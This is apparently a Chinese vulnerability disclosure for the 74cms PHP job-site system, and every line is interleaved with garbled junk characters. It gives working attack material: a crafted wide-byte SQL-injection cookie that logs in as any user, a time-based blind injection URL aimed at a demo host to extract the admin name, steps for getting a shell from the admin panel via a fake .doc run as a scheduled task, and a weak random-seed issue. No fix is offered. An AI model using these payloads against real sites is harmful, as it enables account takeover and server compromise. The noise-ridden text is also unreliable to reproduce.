0x1 任意用户登录
4 e: Q9 h) h5 d8 D: E1 N, ~6 f* O( {% r% B% W6 q
0x2 盲注
. Y8 U* Q* Z+ s/ Y# H% N- l- V- Q* P+ _) c/ @
0x3 后台拿shell
5 M( Q# C( S% @1 e; k2 F- Q& o; [0 Z( l# T* I& J* P3 z5 W
0x4 随机函数问题
! w5 o' Q4 M4 {2 b8 @
) B4 r0 r9 ^8 r) P" G& Y 详细说明:- z5 I% | n& A* ^
. ]3 b7 S1 D" n. Q' H" B( ^' _. {- O
0x1 任意用户登录
/ ~7 l0 @8 }2 D- y) R
4 G$ L1 _2 g% Z; u/ F user/login.php
! X t1 K# W1 L5 r( F8 v6 Z M/ z/ y$ n3 g2 B+ f' k# }3 }
elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
$ ~) p( L* m* Y9 F; }* V
6 F5 E3 t9 S" H9 _* U2 l3 Y; @ {9 S! X; {; U2 E: E* V
4 m' T$ ]% W* M3 n$ \" Q
if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
9 G9 O, s- @/ e& `% y u( g5 s: V4 H j d' u+ U
{9 j* e7 K3 s( p6 `& c+ {- i1 k
2 v% w0 C5 f2 D+ ?' t" C: } update_user_info($_COOKIE['QS']['uid'],false,false);8 b) q/ m4 c' t! L% J
; M! y% J% D5 {' }7 w
header("Location:".get_member_url($_SESSION['utype']));
1 y5 p8 S7 D' m# g5 a
5 w4 `' x# Y9 ]$ n3 D! @8 z }5 p( ]3 U* N6 ~8 D
0 z& b! N$ K ~% N) _ else
* h4 _4 i5 Z- c" v3 G2 {; s( t
a: k1 k. m9 ^& x* m {
# P% _( }1 H# E
9 x* q+ n; k X! S, Z3 ?4 w' f unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
# j' ^9 L# V' z/ ^2 @" f+ @+ N
. d* W, H2 I# e; s; H8 E# O* { setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);4 h6 j4 u- S5 y, G; ~7 Z7 G
6 \6 @0 R9 g/ P" d
setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);: `" B' \, Z2 K8 x5 Z
* i1 B# C9 U% p
setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
* A% L( y5 V6 G* Z! Z" ^, F: N b! r+ y# Z
setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
1 C/ P( g1 k; A( H
: W1 Y3 k& s1 R, E4 j, |1 L2 { header("Location:".url_rewrite('QS_login'));2 F5 U8 ?7 A: c& _8 l* L
8 x+ H7 S+ e$ g5 T. S* n; @ }- s7 F8 m6 \/ B; F! U9 i
1 S. f* {; |+ j) O" l4 Q2 } }
, x( K1 a3 h" _" ^7 p
# a2 h2 m2 {; H7 w f include/fun_user.php O5 i3 L- b* ]: S- W! x
" c( r/ G; M. n% F7 K# ?- @3 K
//检测COOKIE f9 D }6 J0 d8 K" P+ S% i5 [
6 q$ v q; ]- G) P. F
function check_cookie($name,$pwd){
$ k0 u; i, ^3 r! t6 J/ `& A; {. _/ ]& r0 S, d' N- l5 k3 a* ~% l) k
global $db;
6 I* o7 i" L: U6 t3 q7 K' J7 P# e3 a- J Q8 L
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");3 I% ]. I3 Z5 I: Y: X- e4 b
0 M) u/ B9 o5 ^. t8 ^4 E5 `
if($row['num'] > 0)- o7 y7 g/ F% L; V$ t; ?
2 `; q, e! E' ]' c- C. o7 j* |* t {% W A/ _7 k* n) R3 D
- u. V6 y9 R* `/ V m: P8 }- H& s4 m
return true;
( I9 L0 i3 h( z& B* t# L8 J+ z9 ]4 M7 E! K8 K
}else{
8 Y3 d* U( b" U8 s* B5 E+ W
8 D4 j0 h& A$ V return false;
9 M, L9 h+ u/ p) p# k1 C H3 y
$ Q$ J. h* j- r; c }2 `; x& N o% [" ~1 l' b
, h. N% T( x3 ?; E9 K
}
& I+ J- z3 s Y' ~% Y3 O$ ^6 f
/ ^; a2 l+ j% P* O 构造cookie如下- t' b9 T+ ]" ^) f
# P( [1 N/ v. O: b4 }
QS[uid] 2
# Q8 O2 a% P/ [$ T( O% ? U
' f0 J; o8 \ D' i+ e8 K& C QS[utype] 1' B; X9 x! [! r: Y; J5 X k* a
2 ~/ ^, k- {' t) | f, L
QS[password] 111111111111111111111* V S. g( b4 A v3 n4 l
2 f/ E( V3 |% ]8 U( \1 U" ?
QS[username]%bf%27 or 1=1 %23' z$ r) H, J3 i# H7 i
% q' P" l1 O8 N. C+ b uid 为假冒用户的ID utype为用户类型password任意
9 j6 k5 l2 u7 j1 Z
9 r* |; c& `, d0 b 0x2 盲注. h6 g( d% j5 C
) f) K2 `- G" f) J; @: R
http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23, W; v0 D0 Y6 y. Q/ C3 P
1 ?9 x6 F) u) s$ T 上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面& N+ O$ m$ y. t. r% E- i8 h7 ^7 \
8 F3 s. [" {# `' z' ]3 M
0x3 后台拿shell! q9 {6 u ]7 G
) I7 J* m, L% x$ m) h1 G
1.先关闭csrf防御功能- Q5 o7 E% a- R
& X; V$ A# o6 R' [ 2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc8 y. c: B* \6 z. V( f% ?) V
5 v2 H! S C/ y# N5 R* }' `
3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc
7 @5 x# x+ K5 D- r# a3 K A: q4 Z" P! h! U) K5 F0 C( T
4.然后执行5 y$ k2 \! m1 v' c
) }- x9 d: R; F/ {9 \8 O1 n
0x4 随机函数问题(几乎可以无视,纯属个人YY)- b$ H9 ]. y1 h: k. g
/ M8 X: ] h5 [" K
在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。8 D6 @. G: g+ u+ s4 t- }( [
( V" n# H5 [; V4 {6 K* `2 m% d
这个$QS_pwdhash是由randstr生成
( m3 k! _: B: [+ [! g
; y; p: J$ t% P, g' c function randstr($length=6)
B6 k& Q2 ~! R1 r! v* T) P: b m ~7 g+ Q# K! j8 Q+ j
{
0 o4 B4 R3 D% |) q w9 }+ w( q3 R9 B8 n) ~( _( P
$hash='';
1 R1 }1 b! J; z: n( Y+ D( `1 h
3 U# v$ a. T5 A# Q; G0 l0 W $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
1 H; T5 j% m+ ~7 W3 }6 X0 |& E
$max=strlen($chars)-1;
/ Y$ E2 \1 g, i3 m' M& X& P& y3 c- i9 G. {: w
mt_srand((double)microtime()*1000000);
7 Y- S" @. s9 l% [5 S$ X
4 O: M9 D; Y2 `( W for($i=0;$i<$length;$i++) {& N7 w/ @/ _3 g/ Z5 L1 B% ^# s: k
* e5 M4 {6 [+ B9 v* ~% i3 Z
$hash.=$chars[mt_rand(0,$max)];
9 ^6 |2 ~8 U& j! h1 ~5 N) z7 h2 E" ]0 q! B/ p( u+ K5 _( _
}
! l$ p7 ]3 E- W% y i7 ], \3 l+ O
return $hash;
( i+ T# {1 v: I% w# u9 S
! R4 J- F! C: L, g Z$ h }
( b. O4 K1 `! @7 G- i& W( e) N0 I, P7 W: a) H
生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)
- @# Q4 V) f! }) t1 }" @7 }/ K, Y% R6 Y# ~* {( C p
漏洞证明:
/ p2 }7 b2 P( i4 m
: D9 U3 v" D/ j3 Y0 N$ N* K 修复方案:
6 O- y) [' ]- d0 c- w
, i/ r& @# t" {2 K0 _ do it yourself~/ a' I7 i, P* P; u
) M7 D. M! J6 H& f8 M7 o$ |7 w
解决一切网站安全,湖盟云防火墙:hnhack.com |